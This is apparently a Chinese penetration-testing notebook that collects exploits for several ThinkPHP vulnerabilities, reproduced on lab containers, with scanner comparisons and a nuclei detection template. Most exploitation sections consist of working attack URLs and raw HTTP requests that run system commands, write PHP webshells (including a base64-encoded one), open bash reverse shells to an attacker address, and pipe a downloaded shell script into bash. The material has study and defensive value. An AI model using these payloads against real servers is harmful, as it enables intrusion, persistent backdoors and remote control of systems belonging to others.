ThinkPHP漏洞合集(专注渗透视角)

目录

  • 介绍
  • ThinkPHP 2.x 任意代码执行漏洞
    • 漏洞介绍 & 环境准备
    • 漏洞发现
      • TideFinger❌
      • afrog✅
      • nuclei✅
      • xray✅
      • thinkphp_scan✅
      • ThinkphpRCE❌
      • 蓝鲸✅
      • 莲花❌
      • Thinkphp全网GUI圈子社区专版✅
    • 漏洞验证 & 利用
      • 传后门
      • 反弹shell
  • ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
    • 漏洞介绍 & 环境准备
    • 漏洞发现
      • TideFinger✅
      • afrog✅
      • nuclei✅
      • xray✅
      • thinkphp_scan✅
      • ThinkphpRCE✅
      • 蓝鲸✅
      • 莲花✅
      • Thinkphp全网GUI圈子社区专版✅
    • 漏洞验证 & 利用
      • 任意代码执行
      • 写入webshell
      • 反弹shell
  • ThinkPHP5 5.0.23 远程代码执行漏洞
    • 漏洞介绍 & 环境准备
    • 漏洞发现
      • TideFinger✅
      • afrog✅
      • nuclei✅
      • xray✅
      • thinkphp_scan✅
      • ThinkphpRCE✅
      • 蓝鲸✅
      • 莲花✅
      • Thinkphp全网GUI圈子社区专版❌
    • 漏洞验证 & 利用
      • 传后门
      • 反弹shell
  • ThinkPHP5 SQL注入漏洞 & 敏感信息泄露
    • 漏洞发现
      • TideFinger❌
      • afrog✅
      • nuclei✅
      • xray❌
      • thinkphp_scan✅
      • ThinkphpRCE✅
      • 蓝鲸✅
      • 莲花✅
      • Thinkphp全网GUI圈子社区专版❌
    • 漏洞验证 & 利用
  • QVD-2022-46174:**ThinkPHP 代码执行漏洞**
    • 漏洞介绍
    • 环境准备
    • 漏洞复现1:写到tmp目录
      • 首先进行写入文件测试
      • 测试文件包含的poc
      • 写入一句话木马
      • 连接后门
    • 漏洞复现2:写到网站目录下
      • 首先进行写入文件测试
      • 包含文件
      • 写入一句话木马
      • 连接后门
    • 其他漏洞发现姿势
      • 利用Header写入文件
      • 利用Cookie写入文件
    • 总结
    • pearcmd文件包含注意事项
    • Nuclei检测规则
  • 参考

对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

介绍

服务框架是指某领域一类服务的可复用设计与不完整的实现,与软件框架不同的是,服务框架同时体现着面向服务,一个服务框架可以分为两个主要部分:服务引擎、引入的外部服务。
ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。可想而知框架连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,框架的安全稳定运行也直接决定着业务系统能否正常使用。如果框架被远程代码执行攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

ThinkPHP 2.x 任意代码执行漏洞

漏洞介绍与复现参考:https://vulhub.org/#/environments/thinkphp/2-rce/

漏洞介绍 & 环境准备

漏洞原理:
ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
环境搭建:

cd vulhub-master/thinkphp/2-rce
docker-compose up -d
docker ps

ThinkPHP漏洞合集(专注渗透视角)_第1张图片

漏洞发现

TideFinger❌

项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注“Tide安全团队”公众号,回复指纹即可

./TideFinger_Linux -u http://192.168.229.140:8080/ -pd

afrog✅

项目地址:https://github.com/zan8in/afrog
ThinkPHP漏洞合集(专注渗透视角)_第2张图片

nuclei✅

ThinkPHP漏洞合集(专注渗透视角)_第3张图片

xray✅

ThinkPHP漏洞合集(专注渗透视角)_第4张图片

thinkphp_scan✅

项目地址:https://github.com/anx0ing/thinkphp_scan

ThinkphpRCE❌

项目地址:https://github.com/sukabuliet/ThinkphpRCE
ThinkPHP漏洞合集(专注渗透视角)_第5张图片

蓝鲸✅

项目地址:https://github.com/bewhale/thinkphp_gui_tools
ThinkPHP漏洞合集(专注渗透视角)_第6张图片
ThinkPHP漏洞合集(专注渗透视角)_第7张图片

莲花❌

莲花不可以发现漏洞,由于其不检测2版本的Thinkphp
项目地址:https://github.com/Lotus6/ThinkphpGUI
ThinkPHP漏洞合集(专注渗透视角)_第8张图片

Thinkphp全网GUI圈子社区专版✅

ThinkPHP漏洞合集(专注渗透视角)_第9张图片

漏洞验证 & 利用

访问如下地址,即可执行phpinfo()
[http://192.168.229.140:8080/index.php?s=/index/index/name/ %7B@phpinfo()%7D](http://192.168.229.140:8080/index.php?s=/index/index/name/ %7B@phpinfo()%7D)

传后门

  1. 上传后门
http://192.168.229.140:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

ThinkPHP漏洞合集(专注渗透视角)_第10张图片

  1. 简单测试一下,两种方式都行

ThinkPHP漏洞合集(专注渗透视角)_第11张图片
ThinkPHP漏洞合集(专注渗透视角)_第12张图片

  1. 连接webshell

ThinkPHP漏洞合集(专注渗透视角)_第13张图片

反弹shell

方式1:攻击者编写反弹shell的命令:bash -i >& /dev/tcp/192.168.229.1/9999 0>&1
然后开启一个web服务,让受害者下载并执行,获取shell
ThinkPHP漏洞合集(专注渗透视角)_第14张图片
方式2:直接通过后门执行反弹shell的命令
ThinkPHP漏洞合集(专注渗透视角)_第15张图片

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。
环境搭建:

cd vulhub-master/thinkphp/5-rce
docker-compose up -d
docker ps

ThinkPHP漏洞合集(专注渗透视角)_第16张图片

漏洞发现

TideFinger✅

项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注“Tide安全团队”公众号,回复指纹即可

./TideFinger_Linux -u http://192.168.229.140:8080/ -pd

afrog✅

项目地址:https://github.com/zan8in/afrog

nuclei✅

nuclei -tags thinkphp -u http://192.168.229.140:8080/

ThinkPHP漏洞合集(专注渗透视角)_第17张图片

xray✅

ThinkPHP漏洞合集(专注渗透视角)_第18张图片

thinkphp_scan✅

项目地址:https://github.com/anx0ing/thinkphp_scan

ThinkphpRCE✅

项目地址:https://github.com/sukabuliet/ThinkphpRCE
ThinkPHP漏洞合集(专注渗透视角)_第19张图片

蓝鲸✅

项目地址:https://github.com/bewhale/thinkphp_gui_tools
ThinkPHP漏洞合集(专注渗透视角)_第20张图片
ThinkPHP漏洞合集(专注渗透视角)_第21张图片

莲花✅

项目地址:https://github.com/Lotus6/ThinkphpGUI
ThinkPHP漏洞合集(专注渗透视角)_第22张图片
尝试命令执行,未得到结果

Thinkphp全网GUI圈子社区专版✅

ThinkPHP漏洞合集(专注渗透视角)_第23张图片

漏洞验证 & 利用

直接访问如下地址,即可执行phpinfo:
http://192.168.229.140:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
ThinkPHP漏洞合集(专注渗透视角)_第24张图片

任意代码执行

http://192.168.229.140:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP漏洞合集(专注渗透视角)_第25张图片

写入webshell

http://192.168.229.140:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码



得到:
http://192.168.229.140:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20phpinfo()%3B%20eval(%40%24_POST%5B'cmd'%5D)%3B%20%3F%3E

ThinkPHP漏洞合集(专注渗透视角)_第26张图片
ThinkPHP漏洞合集(专注渗透视角)_第27张图片
访问一下后门地址,看起来写进去了
ThinkPHP漏洞合集(专注渗透视角)_第28张图片
连接后门
ThinkPHP漏洞合集(专注渗透视角)_第29张图片

反弹shell

方式1:通过webshell:bash -c 'bash -i >& /dev/tcp/192.168.229.1/9999 0>&1'
ThinkPHP漏洞合集(专注渗透视角)_第30张图片
方式2:通过命令执行

http://192.168.229.140:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.229.128/4444+0>%261'

ThinkPHP漏洞合集(专注渗透视角)_第31张图片

ThinkPHP5 5.0.23 远程代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误地对其进行处理,就是在获取method的方法中没有正确处理方法名,这使攻击者可以调用Request类的任何方法,攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响版本:Thinkphp 5.0.0~ 5.0.23
环境搭建:

cd vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d
docker ps

ThinkPHP漏洞合集(专注渗透视角)_第32张图片

漏洞发现

TideFinger✅

项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注“Tide安全团队”公众号,回复指纹即可

TideFinger.exe -u http://192.168.229.140:8080/ -pd

afrog✅

项目地址:https://github.com/zan8in/afrog
ThinkPHP漏洞合集(专注渗透视角)_第33张图片

nuclei✅

nuclei -tags thinkphp -u http://192.168.229.140:8080/

ThinkPHP漏洞合集(专注渗透视角)_第34张图片

xray✅

ThinkPHP漏洞合集(专注渗透视角)_第35张图片

thinkphp_scan✅

项目地址:https://github.com/anx0ing/thinkphp_scan

ThinkphpRCE✅

项目地址:https://github.com/sukabuliet/ThinkphpRCE
ThinkPHP漏洞合集(专注渗透视角)_第36张图片

蓝鲸✅

项目地址:https://github.com/bewhale/thinkphp_gui_tools
ThinkPHP漏洞合集(专注渗透视角)_第37张图片
ThinkPHP漏洞合集(专注渗透视角)_第38张图片

莲花✅

项目地址:https://github.com/Lotus6/ThinkphpGUI
ThinkPHP漏洞合集(专注渗透视角)_第39张图片
ThinkPHP漏洞合集(专注渗透视角)_第40张图片

Thinkphp全网GUI圈子社区专版❌

ThinkPHP漏洞合集(专注渗透视角)_第41张图片

漏洞验证 & 利用

发送如下数据包,尝试执行命令

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

ThinkPHP漏洞合集(专注渗透视角)_第42张图片

传后门

方法1:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 'cmd']); ?>' > AAA.php

这里不能用 get 和 post  只能用 request
<?php @eval($_GET["cmd"]);?>  失败
<?php @eval($_POST["cmd"]);?> 失败
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.229.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 141
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=6d77e96725967c067fbaf184686b7473
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo+'<%3fphp+phpinfo()%3b+eval(%40$_REQUEST['cmd'])%3b+%3f>'+>+AAA.php

ThinkPHP漏洞合集(专注渗透视角)_第43张图片
ThinkPHP漏洞合集(专注渗透视角)_第44张图片
方式2:其实就是做了base64编码处理

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgcGhwaW5mbygpOyBldmFsKEAkX1JFUVVFU1RbJ2NtZCddKTsgPz4= | base64 -d > shell.php

ThinkPHP漏洞合集(专注渗透视角)_第45张图片
ThinkPHP漏洞合集(专注渗透视角)_第46张图片

反弹shell

这里的方法上文介绍过:https://www.yuque.com/u1881995/pborfs/vl6133h1trkn31vy#cnIjT
攻击者编写反弹shell的命令:bash -i >& /dev/tcp/192.168.229.128/4444 0>&1
然后开启一个web服务,让受害者下载并执行,获取shell

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.229.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=6d77e96725967c067fbaf184686b7473
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.229.128/shell.sh | bash

ThinkPHP漏洞合集(专注渗透视角)_第47张图片
ThinkPHP漏洞合集(专注渗透视角)_第48张图片
图省事也可以这样
ThinkPHP漏洞合集(专注渗透视角)_第49张图片

ThinkPHP5 SQL注入漏洞 & 敏感信息泄露

**漏洞原理:**传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
影响版本:ThinkPHP < 5.1.23
环境搭建:

cd vulhub-master/thinkphp/in-sqlinjection
docker-compose up -d
docker ps

ThinkPHP漏洞合集(专注渗透视角)_第50张图片
启动后,访问http://your-ip/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来,说明环境运行成功。
ThinkPHP漏洞合集(专注渗透视角)_第51张图片

漏洞发现

TideFinger❌

项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注“Tide安全团队”公众号,回复指纹即可
发现了漏洞,但是没有发现目标漏洞,属于是发现了其他漏洞

./TideFinger_Linux -u http://192.168.229.140 -pd

afrog✅

项目地址:https://github.com/zan8in/afrog

nuclei✅

nuclei -tags thinkphp -u http://192.168.229.140

ThinkPHP漏洞合集(专注渗透视角)_第52张图片

xray❌

发现了漏洞,但是没有发现目标漏洞,属于是发现了其他漏洞
ThinkPHP漏洞合集(专注渗透视角)_第53张图片

thinkphp_scan✅

项目地址:https://github.com/anx0ing/thinkphp_scan

ThinkphpRCE✅

项目地址:https://github.com/sukabuliet/ThinkphpRCE

蓝鲸✅

项目地址:https://github.com/bewhale/thinkphp_gui_tools
ThinkPHP漏洞合集(专注渗透视角)_第54张图片

莲花✅

项目地址:https://github.com/Lotus6/ThinkphpGUI
ThinkPHP漏洞合集(专注渗透视角)_第55张图片

Thinkphp全网GUI圈子社区专版❌

ThinkPHP漏洞合集(专注渗透视角)_第56张图片

漏洞验证 & 利用

访问http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1,信息成功被爆出:
ThinkPHP漏洞合集(专注渗透视角)_第57张图片

QVD-2022-46174:ThinkPHP 代码执行漏洞

漏洞介绍

当ThinkPHP开启了多语言功能时,攻击者可以通过lang参数和目录穿越实现文件包含,当存在其他扩展模块如 pear 扩展时,攻击者可进一步利用文件包含实现远程代码执行。

| 影响版本 | 6.0.1 <= ThinkPHP <= 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x | | |
| — | — | — | — |
| 不受影响版本 | ThinkPHP >= 6.0.14
ThinkPHP >= 5.1.42 | | |
| 修复方法 | 升级到安全版本:
ThinkPHP v6.0.14
ThinkPHP v5.1.42 | | |
| 缓解方案 | 关闭多语言功能 | | |

更多漏洞细节:
https://nox.qianxin.com/vulnerability/detail/QVD-2022-46174
https://mp.weixin.qq.com/s/9A6zmN4suEAeAKZoLmbMKQ

环境准备

参考复现文章:
对应“漏洞复现1”:https://mp.weixin.qq.com/s/zeyMQg-tbpQET6n07KjJeQ
对应“漏洞复现2”:https://blog.csdn.net/qq1140037586/article/details/128355617
使用CentOS虚拟机部署漏洞环境:

docker pull vulfocus/thinkphp:6.0.12
docker run -d -p 80:80 IMAGE ID 
docker ps

然后访问如下地址即可:http://192.168.229.140/public/index.php
ThinkPHP漏洞合集(专注渗透视角)_第58张图片
通过漏洞通报可以知道,此次漏洞的前置条件是需要开启多语言功能

ThinkPHP 6
打开app/middleware.php
如果 \think\middleware\LoadLangPack::class 没有注释,代表着受此漏洞影响。

ThinkPHP 5
打开config/app.php,如果 'lang_switch_on' 为 true,代表着受此漏洞影响。

⚠️因此先进入容器进行查看是否满足前置条件

docker ps -a
docker exec -it CONTAINER ID  bash
find / -name middleware.php 2>/dev/null
cat /var/www/html/app/middleware.php

可以看到这里确实没有注释,也就是说是满足漏洞存在条件的
ThinkPHP漏洞合集(专注渗透视角)_第59张图片
⚠️其次,因为这个漏洞的深入利用要借助到pearcmd的文件写入技巧,所以还需要查看pearcmd所在的路径
image.png
查看漏洞环境中pearcmd的路径是在:/usr/local/lib/php/pearcmd.php

漏洞复现1:写到tmp目录

到这里漏洞复现所需要的前置条件都已经满足了,那么测试下列poc,这里进行两种测试,一种是把文件写到网站同目录中,一种是写到tmp目录中。

这里先演示写到tmp目录,通过下面的利用代码可以看到,先是把文件写到tmp目录验证漏洞,之后把文件写到tmp目录下,利用漏洞。

# 写文件
http://xx.xx.xx.xx/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&<?=phpinfo()?>+/tmp/hello.php

# 包含文件
http://xx.xx.xx.xx/public/index.php?lang=../../../../../../../../tmp/hello

# 直接写一句话木马
http://xx.xx.xx.xx/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['ant']);?>+/tmp/ant11.php

首先进行写入文件测试

ThinkPHP漏洞合集(专注渗透视角)_第60张图片
得到响应之后查看tmp目录下是否成功写入
ThinkPHP漏洞合集(专注渗透视角)_第61张图片
经过前后对比可以发现确实将成功写入到了tmp目录下的hello.php文件中了。

测试文件包含的poc

ThinkPHP漏洞合集(专注渗透视角)_第62张图片
注意,访问的是文件不带后缀,如果访问hello.php,反倒是看不到文件包含效果了
ThinkPHP漏洞合集(专注渗透视角)_第63张图片
可以看到hello.php文件的代码确实被包含执行了。最后就是直接写入一句话木马进行getshell了。

写入一句话木马

ThinkPHP漏洞合集(专注渗透视角)_第64张图片
看到后门已经写进去了
ThinkPHP漏洞合集(专注渗透视角)_第65张图片

连接后门

访问一下后门地址:
ThinkPHP漏洞合集(专注渗透视角)_第66张图片
连接后门
ThinkPHP漏洞合集(专注渗透视角)_第67张图片
ThinkPHP漏洞合集(专注渗透视角)_第68张图片

漏洞复现2:写到网站目录下

通过下面的利用代码可以看到,漏洞验证和漏洞利用的文件都写在了网站同级目录下
需要知道网站根目录才可以!

# 写文件
http://xx.xx.xx.xx/public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/var/www/html/test.php

# 包含文件
http://xx.xx.xx.xx/test.php

# 直接写一句话木马
http://xx.xx.xx.xx/public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=eval(@$_REQUEST['cmd']);?>+/var/www/html/shell.php

首先进行写入文件测试

ThinkPHP漏洞合集(专注渗透视角)_第69张图片
ThinkPHP漏洞合集(专注渗透视角)_第70张图片

包含文件

在上文“漏洞复现1”中,包含文件时发现不可以填写文件后缀才可以包含到,然而这里是需要填写文件后缀才可以包含到
ThinkPHP漏洞合集(专注渗透视角)_第71张图片

写入一句话木马

ThinkPHP漏洞合集(专注渗透视角)_第72张图片

连接后门

访问后门如下图所示,依然是看不见利用代码
ThinkPHP漏洞合集(专注渗透视角)_第73张图片
连接后门
ThinkPHP漏洞合集(专注渗透视角)_第74张图片

其他漏洞发现姿势

根据这个漏洞的通报可以知道,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含的方法即可实现 RCE。那么接下来对几个位置传入参数进行测试

利用Header写入文件

上文写入的文件已经清理,保持靶场环境不受影响

GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/shell.php HTTP/1.1
Host: 192.168.229.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
think-lang: ../../../../../../../../../../../usr/local/lib/php/pearcmd
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_lang=zh-cn


ThinkPHP漏洞合集(专注渗透视角)_第75张图片
ThinkPHP漏洞合集(专注渗透视角)_第76张图片
这个时候,再访问写入的文件的时候,依然需要注意文件后缀。

http://192.168.229.140/public/index.php?lang=../../../../../../../../tmp/shell

ThinkPHP漏洞合集(专注渗透视角)_第77张图片
除了通过uri访问,也可以通过如下方式:

GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/test.php HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie: think_lang=zh-cn
Upgrade-Insecure-Requests: 1
think-lang:../../../../../../../../tmp/test


ThinkPHP漏洞合集(专注渗透视角)_第78张图片

利用Cookie写入文件

上文写入的文件已经清理,保持靶场环境不受影响

GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/22.php HTTP/1.1
Host: 192.168.229.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Cookie: think_lang=../../../../../../../../../../../usr/local/lib/php/pearcmd
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close


ThinkPHP漏洞合集(专注渗透视角)_第79张图片
ThinkPHP漏洞合集(专注渗透视角)_第80张图片
这个时候,再访问写入的文件的时候,依然需要注意文件后缀。
ThinkPHP漏洞合集(专注渗透视角)_第81张图片

总结

这里主要是利用pearcmd.php这个pecl/pear中的文件。peclPHP中用于管理扩展而使用的命令行工具,而pearpecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大。

pearcmd文件包含注意事项

参见:https://mp.weixin.qq.com/s/zeyMQg-tbpQET6n07KjJeQ

Nuclei检测规则

id: thinkphpRCE_QVD-2022-46174
info:
  name: thinkphp-think-lang-rce
  author: wuha
  severity: critical
  reference:
    - https://mp.weixin.qq.com/s/zeyMQg-tbpQET6n07KjJeQ
  tags: thinkphp
requests:
  - raw:
      - |
        GET /public/index.php?+config-create+/+/tmp/test.php HTTP/1.1
        Host: {{Hostname}}
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        think-lang:../../../../../../../../usr/local/lib/php/pearcmd
        Cookie: think_lang=zh-cn
        Connection: close

      - |
        GET /public/index.php HTTP/1.1
        Host: {{Hostname}}
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        think-lang:../../../../../../../../tmp/test
        Cookie: think_lang=zh-cn
        Connection: close

    matchers:
      - type: word
        part: body
        words:
          - 'PHP'
          - 'Version'
        condition: and

ThinkPHP漏洞合集(专注渗透视角)_第82张图片

参考

你可能感兴趣的:(渗透测试,thinkphp)